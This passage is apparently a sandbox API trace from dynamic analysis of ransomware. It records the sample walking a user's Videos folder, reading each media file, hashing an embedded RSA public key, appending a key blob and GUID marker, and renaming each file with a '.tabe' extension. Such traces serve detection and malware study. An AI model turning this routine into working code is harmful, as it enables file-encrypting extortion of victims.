KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.558] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.558] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.558] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.558] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.558] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.559] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.559] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.559] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.559] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.559] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.559] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.559] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.560] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x170da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.560] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.560] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.560] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.560] CloseHandle (hObject=0x618) returned 1 [0127.561] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\fsc9rge6Ary4EG5TW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\fsc9rge6ary4eg5tw.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\fsc9rge6Ary4EG5TW.swf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\fsc9rge6ary4eg5tw.swf.tabe")) returned 1 [0127.562] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a176d0, ftCreationTime.dwHighDateTime=0x1d5e002, ftLastAccessTime.dwLowDateTime=0x39f7720, ftLastAccessTime.dwHighDateTime=0x1d5e3f6, ftLastWriteTime.dwLowDateTime=0x39f7720, ftLastWriteTime.dwHighDateTime=0x1d5e3f6, nFileSizeHigh=0x0, nFileSizeLow=0x174d9, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="L5SKKGK3dZs4.mp4", cAlternateFileName="L5SKKG~1.MP4")) returned 1 [0127.562] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\L5SKKGK3dZs4.mp4") returned=".mp4" [0127.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\L5SKKGK3dZs4.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\l5skkgk3dzs4.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.563] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=95449) returned 1 [0127.563] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.564] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x174b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.564] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.565] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x174d9, lpOverlapped=0x0) returned 1 [0127.566] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.566] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.566] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.566] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.567] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.567] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.567] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.567] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.567] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.567] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.567] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.567] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.567] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.568] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.568] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x174d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.568] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.568] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.568] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.568] CloseHandle (hObject=0x618) returned 1 [0127.569] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\L5SKKGK3dZs4.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\l5skkgk3dzs4.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\L5SKKGK3dZs4.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\l5skkgk3dzs4.mp4.tabe")) returned 1 [0127.571] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea70be70, ftCreationTime.dwHighDateTime=0x1d5d9ab, ftLastAccessTime.dwLowDateTime=0x14e25c10, ftLastAccessTime.dwHighDateTime=0x1d5d914, ftLastWriteTime.dwLowDateTime=0x14e25c10, ftLastWriteTime.dwHighDateTime=0x1d5d914, nFileSizeHigh=0x0, nFileSizeLow=0xa693, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="na4G6YRwrZdh.swf", cAlternateFileName="NA4G6Y~1.SWF")) returned 1 [0127.571] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\na4G6YRwrZdh.swf") returned=".swf" [0127.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\na4G6YRwrZdh.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\na4g6yrwrzdh.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.571] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=42643) returned 1 [0127.571] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.572] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa66d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.572] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.573] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xa693, lpOverlapped=0x0) returned 1 [0127.574] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.574] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.574] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.574] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.575] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.575] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.575] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.575] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.575] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.575] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.575] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.575] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.575] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.575] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.576] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa693, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.576] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.576] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.576] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.576] CloseHandle (hObject=0x618) returned 1 [0127.577] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\na4G6YRwrZdh.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\na4g6yrwrzdh.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\na4G6YRwrZdh.swf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\na4g6yrwrzdh.swf.tabe")) returned 1 [0127.580] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c8080, ftCreationTime.dwHighDateTime=0x1d5d9b3, ftLastAccessTime.dwLowDateTime=0xdb9a4f30, ftLastAccessTime.dwHighDateTime=0x1d5dd46, ftLastWriteTime.dwLowDateTime=0xdb9a4f30, ftLastWriteTime.dwHighDateTime=0x1d5dd46, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="s1LPwd2uId.avi", cAlternateFileName="S1LPWD~1.AVI")) returned 1 [0127.580] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\s1LPwd2uId.avi") returned=".avi" [0127.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\s1LPwd2uId.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\s1lpwd2uid.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.580] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=2226) returned 1 [0127.580] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.581] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x88c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.581] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.583] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8b2, lpOverlapped=0x0) returned 1 [0127.583] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.583] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.583] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.583] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.584] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.584] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.584] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.584] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.584] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.584] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.584] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.584] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.584] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.584] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.584] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.584] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.584] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.584] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 